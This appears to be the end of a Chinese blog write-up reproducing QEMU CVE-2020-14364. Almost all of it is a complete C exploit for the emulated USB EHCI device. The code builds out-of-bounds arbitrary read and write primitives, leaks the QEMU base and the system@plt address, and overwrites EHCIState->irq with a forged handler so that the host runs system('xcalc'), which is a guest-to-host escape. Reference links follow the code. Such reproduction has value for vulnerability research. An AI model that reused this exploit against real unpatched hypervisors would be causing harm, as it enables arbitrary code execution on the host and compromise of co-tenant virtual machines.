void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}

void set_EHCIState(){
mmio_write(0x2C, 0); // frindex
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}

void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}

void init_state(){
reset_enable_port();
set_qh();

setup_buf[6] = 0xff;
setup_buf[7] = 0x0;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);

*entry = virt2phys(qh)+0x2;

set_EHCIState();

printf("init_state Success!\n");
}

void set_length(uint16_t len,uint8_t option){

reset_enable_port();

set_qh();

setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);

set_EHCIState();

printf("set_length Success!\n");
}

void do_copy_read(){

reset_enable_port();
set_qh();

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);

set_EHCIState();

printf("do_copy_read Success!\n");
}

void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){

reset_enable_port();
set_qh();

*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);

set_EHCIState();

printf("do_copy_write Success!\n");
}

void setup_state_data()
{
set_length(0x500, USB_DIR_OUT);
}

void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);

*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);

printf("arb_write Success!\n");
}

unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

do_copy_write(0, 0x1010, 0xfffffff8-0x1010);

*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;

do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);

printf("arb_read Success!\n");
}

void debug()
{
getchar();
getchar();
}

int main()
{

init();

iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);

// debug();

init_state();
set_length(0x200, USB_DIR_IN); // s->setup_state = SETUP_STATE_DATA;
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read

for(int i = 0; i < 0x20; ++i)
{
printf("data_buf[%d]: %lx\n", i, *(uint64_t *)(data_buf + i * 8));
}

printf("--------------------------------------------\n");

for(int i = 0; i < 0x20; ++i)
{
printf("data_buf_oob[%d]: %lx\n", i, *(uint64_t *)(data_buf_oob + i * 8));
}

struct USBDevice* usb_device_tmp = data_buf_oob + 0x4;
struct USBDevice usb_device;
memcpy(&usb_device, usb_device_tmp, sizeof(USBDevice));

dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
USBPort_addr = dev_addr + 0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);

uint64_t *tmp=data_buf_oob+0x4fc; // desc_device_high

long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}

long long base = leak_addr - 0x1111090;
uint64_t system_plt = base + 0x2D4B50;

printf("leak elf_base address : 0x%llx!\n", base);
printf("leak system_plt address: 0x%llx!\n", system_plt);

unsigned long USBPort_ptr = arb_read(USBPort_addr);
unsigned long EHCIState_addr = USBPort_ptr - 0x540;
unsigned long irq_addr = EHCIState_addr + 0xc0;
unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc;
unsigned long irq_ptr = arb_read(irq_addr);

printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
printf("irq_addr: 0x%llx\n", irq_addr);
printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
printf("irq_ptr: 0x%llx\n", irq_ptr);

// construct fake_irq
setup_state_data();
*(unsigned long *)(data_buf + 0x28) = system_plt; // handler
*(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque
*(unsigned long *)(data_buf + 0x38) = 0x3; //n
*(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc; exit"
do_copy_write(0, 0xffff, 0xffff);

debug();

// write fake_irq
arb_write(irq_addr, fake_irq_addr);

// // write back irq_ptr
// arb_write(irq_addr, irq_ptr);

//printf("success233!\n");

return 0;
};

最终效果

覆盖EHCIState->irq为可控地址。

image-20240723223839991

最终劫持控制流,执行system("xcalc")

image-20240723223738928

image-20240723224353162

参考文章

https://lyyl.online/posts/3399981355

https://xz.aliyun.com/t/8320?time__1311=n4%2BxnD0DcDuDgDjgD0x05fbDyDmhjiQG7GG0YeD

https://www.freebuf.com/vuls/247829.html

https://www.intel.com/content/dam/www/public/us/en/documents/technical-specifications/ehci-specification-for-usb.pdf


QEMU: CVE-2020-14364漏洞复现
http://example.com/2024/08/23/QEMU-CVE-2020-14364漏洞复现/
作者
l1s00t
发布于
2024年8月23日
许可协议